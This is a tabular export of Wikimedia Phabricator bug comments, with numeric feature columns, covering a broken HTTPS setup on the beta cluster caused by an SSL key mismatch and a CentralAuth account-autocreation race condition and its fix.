+This happens when there is a cookie on the client asking for https only wiki access. I don't remember the name of the cookie but I do remember that it is obvious when you look at the active cookie list. I've never figured out exactly what causes the cookie to be set in the first place.",,,1433368491,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-5,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+468641,Beta Cluster no longer listens for HTTPS,"14:21 < kaldari> mutante, Coren: The network doesn't matter, but the browser does. In Firefox http://en.wikipedia.beta.wmflabs.org/wiki/Main_Page tries to redirect to  the https site and fails. In Safari http://en.wikipedia.beta.wmflabs.org/wiki/Main_Page loads fine, but   https://en.wikipedia.beta.wmflabs.org/wiki/Main_Page fails. I don't have any special Firefox extensions
+
+",,,1433367195,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-5,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+445854,Beta Cluster no longer listens for HTTPS,"@robh: I apologize for the snark. Perhaps a bit of an over-reaction to the age and severity of the bug - it had been sitting for over 7 months, had the operations tag, and I don't think I was aware of the existence of blocked-on-* tags at the time I made the comment.",,,1429401950,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-11,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0
+445534,Beta Cluster no longer listens for HTTPS,duplicate of T50501 ?,,,1429298475,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+445531,Beta Cluster no longer listens for HTTPS,"I also think suggesting that ops isn't willing to help is both counter-productive, and incorrect.  I was pinged on this today by someone not even on the task, and this doesn't have the #blocked-on-operations tag.",,,1429298321,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-11,True,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+445528,Beta Cluster no longer listens for HTTPS,"Shouldn't the option of :
+
+ a) Have an Opsen populate /etc/ssl/private/star.wmflabs.org.key on all of the frontend boxes for beta [0]. This private key must match the public key in operations/puppet [1].
+
+Actually be: Create a key for this and place in puppet, and have said key be what you want us to populate the key with manually.  We dont like manual processes on cluster, right?
+
+Edit addition: If this is a file that needs to exist on these systems, even post-reinstallation, then it needs to be puppetized accordingly.",,,1429298246,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-11,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,1
+445527,Beta Cluster no longer listens for HTTPS,"Shouldn't the option of :
+
+ a) Have an Opsen populate /etc/ssl/private/star.wmflabs.org.key on all of the frontend boxes for beta [0]. This private key must match the public key in operations/puppet [1].
+
+Actually be: Create a key for this and place in puppet, and have said key be what you want us to populate the key with manually.  We dont like manual processes on cluster, right?",,,1429298156,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-11,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,1
+419949,Beta Cluster no longer listens for HTTPS,"That sounds about right, as long as we can deal with the browser test fallout (making sure the browser tests have those certs in place so they don't get the stupid warning).
+
+See also: https://phabricator.wikimedia.org/T50501#527951",,,1425398549,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0
+419872,Beta Cluster no longer listens for HTTPS,The certificate file is there but it's zero bytes. This is causing puppet failures in beta. We really should do something about it.  If ops is unwilling to help then we should create a new self-signed cert.,,,1425388832,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-18,True,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+318627,Beta Cluster no longer listens for HTTPS,*** Bug 73680 has been marked as a duplicate of this bug. ***,,,1416528949,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+318622,Beta Cluster no longer listens for HTTPS,"I'm pretty sure it has not/never worked the last month, b/c occasionally I still hit a old https-beta link from my history, which was never working after migration.
+
+This bug would be a duplicate of bug 63538, if this wouldn't have been marked as ""resolved fixed"" because ""there is no need to have two bugs to track the issue""...",,,1406934038,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+318618,Beta Cluster no longer listens for HTTPS,Zelko had this issue also.,,,1406218504,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+318614,Beta Cluster no longer listens for HTTPS,"Especially given that Fabrice reports it only broke for him yesterday, I'm pretty sure this had been working until pretty recently.",,,1406066869,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+318608,Beta Cluster no longer listens for HTTPS,"(In reply to Bryan Davis from comment #4)
+> This has been broken as long as we have been in eqiad as far as I know.
+
+FWIW I'm about 90% sure that https to beta labs worked in eqiad.  My browser autocompletion URLs for Flow pages on beta were all https and I had a forceHTTPS cookie for beta labs, and as I recall it worked fine until 2-3 weeks ago.  I had to manually remove the cookie in order to login and now I'm OK.",,,1406059662,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,False,,,-50,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+318603,Beta Cluster no longer listens for HTTPS,"This has been broken as long as we have been in eqiad as far as I know. role::protoproxy::ssl::beta is used to setup the nginx ssl terminators in front of *.beta.wmflabs.org. That in turn applies role::protoproxy::ssl::beta::common which includes `install_certificate{'star.wmflabs.org': privatekey => false}`. The ""privatekey => false"" bit there tells puppet not to try and manage the ssl private key install. This is done because labs/private.git does not contain the x509 private key for the real *.wmflabs.org cert (for good reason).
+
+To fix it we need to either:
+a) Have an Opsen populate /etc/ssl/private/star.wmflabs.org.key on all of the frontend boxes for beta [0]. This private key must match the public key in operations/puppet [1].
+b) Create a self-signed cert for beta and change puppet
+** Put the private key in labs/private/ssl on deployment-salt
+** Put the public key in operations/puppet/files/ssl on deployment-salt (or operations/puppet)
+** Change role::protoproxy::ssl::beta::common to install the new self-signed cert
+
+
+[0]: https://wikitech.wikimedia.org/w/index.php?title=Special:Ask&q=%5B%5BResource+Type%3A%3Ainstance%5D%5D%5B%5BPuppet+Class%3A%3Arole%3A%3Aprotoproxy%3A%3Assl%3A%3Abeta%5D%5D&p=format%3Dbroadtable%2Flink%3Dall%2Fheaders%3Dshow%2Fsearchlabel%3D%E2%80%A6-20further-20results%2Fclass%3Dsortable-20wikitable-20smwtable&po=%3FInstance+Name%0A%3FPuppet+Class%0A%3FPuppet+Var%0A&sort=Modification+date&order=DESC&limit=50&eq=no
+[1]: https://github.com/wikimedia/operations-puppet/blob/production/files/ssl/star.wmflabs.org.pem",,,1406058509,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-50,True,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+318598,Beta Cluster no longer listens for HTTPS,Apparently broken since April 11 :/,,,1406056735,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+318595,Beta Cluster no longer listens for HTTPS,"I attempted to start it manually:
+
+# service nginx start
+Starting nginx: nginx: [emerg] SSL_CTX_use_PrivateKey_file(""/etc/ssl/private/star.wmflabs.org.key"") failed (SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch)
+nginx: configuration file /etc/nginx/nginx.conf test failed
+
+
+
+I can't remember how we got the SSL keys deployed for beta :-/ Some ops with better knowledge about SSL than me would probably know.",,,1406056201,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-50,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,0,1
+318590,Beta Cluster no longer listens for HTTPS,"HTTPS is handled using nginx on the varnish server by applying role::protoproxy::ssl::beta
+
+Looking at the puppet run of deployment-cache-text02.eqiad.wmflabs (the text cache) I find:
+
+ Debug: Executing '/etc/init.d/nginx status'
+
+So puppet knows about nginx but for some reason does not start it :-(",,,1406055659,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-4o7hcbcsjs3jpgcicdtc,task_subcomment,,True,c3,1,True,,,-50,True,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+70115,experiment with adding back HTTP::Persistent,"Now that we don't have to deal with Cloudbees, investigate using HTTP::Persistent again to help performance.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Low,25.0,1405530900,1427800989.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-n4m4w7dbtr6qukyfzci6,task_description,declined,True,c3,1,False,False,True,-51,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+435726,experiment with adding back HTTP::Persistent,I do not plan to work on this any time soon. Please reopen if you would like to see this task done.,,,1427800981,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-n4m4w7dbtr6qukyfzci6,task_subcomment,,True,c3,1,True,,,-14,True,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+70012,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"I think this is a race condition of some kind:
+
+2014-07-14 23:44:02 mw1209 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username])
+2014-07-14 23:44:02 mw1049 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username])
+2014-07-14 23:44:02 mw1049 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
+Please choose a different name.
+
+For some reason, there were two simultaneous autocreation attempts, one succeeded, and the other of course failed. Here's a scarier one:
+
+2014-07-14 23:44:53 mw1150 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
+2014-07-14 23:44:53 mw1062 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
+2014-07-14 23:44:53 mw1174 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
+2014-07-14 23:44:53 mw1019 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
+2014-07-14 23:44:53 mw1187 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
+2014-07-14 23:44:53 mw1174 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
+Please choose a different name.
+2014-07-14 23:44:53 mw1062 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
+Please choose a different name.
+2014-07-14 23:44:53 mw1187 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
+Please choose a different name.
+2014-07-14 23:44:53 mw1019 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
+Please choose a different name.
+2014-07-14 23:44:53 mw1038 loginwiki: CentralAuthHooks::attemptAddUser: creating new user ([username2])
+2014-07-14 23:44:53 mw1038 loginwiki: CentralAuthHooks::attemptAddUser: failed with message Username entered already in use.
+Please choose a different name.
+
+This one has 6! attempts, 5 of which fail.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1405383660,1457056180.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-fu6lhqe3kuntohxjirr7,task_description,resolved,True,c3,1,True,False,False,-51,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+623043,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"The warning disappeared from the logs pretty much the same time the patch was deployed, and no ill effects were reported.",,,1457056180,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,True,,,35,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+616825,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"Change 272835 merged by jenkins-bot:
+Do not unauthenticate if autocreation fails due to a race
+
+[[https://gerrit.wikimedia.org/r/272835]]",,,1456273045,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+616670,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"Change 272835 had a related patch set uploaded (by Gergő Tisza):
+Do not unauthenticate if autocreation fails due to a race
+
+[[https://gerrit.wikimedia.org/r/272835]]
+",,,1456262662,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+613141,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"Change 271460 merged by jenkins-bot:
+Do not unauthenticate if autocreation fails due to a race
+
+[[https://gerrit.wikimedia.org/r/271460]]",,,1455814314,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+612656,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"Change 271460 had a related patch set uploaded (by Gergő Tisza):
+Do not unauthenticate if autocreation fails due to a race
+
+[[https://gerrit.wikimedia.org/r/271460]]
+",,,1455761898,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+612628,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"```
+tgr@fluorine:~$ zcat /a/mw-log/archive/CentralAuth-Bug39996.log-20151215.gz | grep 'Username entered already in use.' | wc -l
+1681
+```
+https://logstash.wikimedia.org/#dashboard/temp/AVLx4-B5ptxhN1Xap4QK
+1445
+
+So it does not seem like this bug has been significantly affected by SessionManager (and as such it's probably not the reason for T125054). Nevertheless, should be an easy fix.",,,1455757280,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,True,,,33,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+608907,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,">>! In T70012#1141762, @Aklapper wrote:
+> Anybody knows if this is still an issue nowadays?
+
+Happens fairly often, yes (on the scale of 1/s). https://logstash.wikimedia.org/#dashboard/temp/AVLTn06zptxhN1XaS38e",,,1455249439,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,True,,,32,True,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1
+608903,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"What probably happens here is that when the user makes their first login after account creation, CentralAuth displays a bunch of site icons (one for each SUL-enabled second-level domain that's not wikimedia.org, plus one for meta and commons each) which are supposed to preemptively log the user in on sites on that domain. Those images are generated by Special:CentralAuthAutologin on the respective sites, and those first redirect to loginwiki to check that the user is centrally logged in. These requests happen simultaneously and they each trigger autocreation, and that apparently results in race conditions.
+
+Is that's true then there is some user effect from this as the autocreation failure means the user ends up as unauthenticated in that request, so the preemptive autologin fails. Not a big deal because there is still the normal autologin which is triggered when the users visits the given wiki.",,,1455249242,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,3,True,,,32,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+431035,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"Yes, it is still occurring.",,,1427132334,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+431028,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,">>! In T70012#723577, @Legoktm wrote:
+> There's some weird stuff going on here.
+
+Anybody knows if this is still an issue nowadays?",,,1427132222,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,1,True,,,-15,True,1,1,0,0,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,1
+312907,CentralAuthHooks::attemptAddUser: failed with message Username entered already in use. on loginwiki,"There's some weird stuff going on here.
+
+2014-07-15 01:29:15 mw1025 metawiki: CentralAuthHooks::attemptAddUser: creating new user ([username3])
+2014-07-15 01:29:15 mw1188 metawiki: CentralAuthHooks::attemptAddUser: creating new user ([username3])
+2014-07-15 01:29:15 mw1188 metawiki: CentralAuthHooks::attemptAddUser: failed with message El nombre de usuario indicado ya está en uso.
+
+Now, if we just autocreated the user, how is their language already set to Spanish? metawiki's default should be English.",,,1405394378,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-fu6lhqe3kuntohxjirr7,task_subcomment,,True,c3,1,True,,,-51,True,1,0,0,0,0,1,1,0,0,1,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+69512,"Allow concurrent ""remember me"" logins","Request from https://bugzilla.wikimedia.org/show_bug.cgi?id=66699#c34 (by Martin von Gagern):
+
+> Is asking for year-long concurrent sessions on multiple devices on-topic here, is there a separate bug for this, should I file one or ask on Village Pump?
+
+The idea is to allow multiple simultaneous ""remember me"" sessions.
+
+I'm not sure if this applies to core, CentralAuth, or both, but putting in core for now.
+
+--------------------------
+**Version**: 1.24rc
+**Severity**: enhancement
+**See Also**:
